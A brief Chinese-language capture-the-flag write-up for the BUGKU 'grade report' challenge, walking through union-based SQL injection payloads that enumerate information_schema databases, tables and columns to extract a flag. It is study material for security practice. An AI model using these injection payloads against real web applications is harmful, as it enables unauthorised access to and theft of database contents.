BUGKU 成绩单 做题想法
成绩单
1、通过数字的输入可以看到查询的数据
2、输入单引号,看看在语法上是否会引起报错
没有查询到数据判断有sql注入
3、查询字段数目
4#可以,5#不行,说明字段数目为4
4、联合查询
1' union select 1,2,3,4#
查询出的是输入1时的数据,“1”的数据顶替了联合查询数据的位置,查询失败
构造
' union select 1,2,3,4#
查询成功
获取数据库:
' unio select schema_name from information_schema.schemata#
获取数据库中的表
' union select table_name,2,3,4 from information_schema.tables where table_schema='information_schema'#
获取CHARACTER_SETS表中的列
' union select column_name,2,3,4 from information_schema.columns where table_name='CHARACTER_SETS'#
获取CHARACTER_SET_NAME列的内容
' union select CHARACTER_SET_NAME,2,3,4 from CHARACTER_SETS#
查询失败(感觉没有查询),原因是什么我也不清楚
查了些资料,一个空位只能添加一个查询,默认查询表中第一个记录,也就是说数据库可能不止一个,刚刚的那个库只是表中的第一个库。
查询表中所有的库
' union select group_concat(schema_name),2,3,4 from information_schema.schemata#
有skctf_flag
同样的道理,查询库中的所有表
' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='skctf_flag'#
查询fl4g中的列
' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'#
查询字段内容
' union select skctf_flag,2,3,4 from fl4g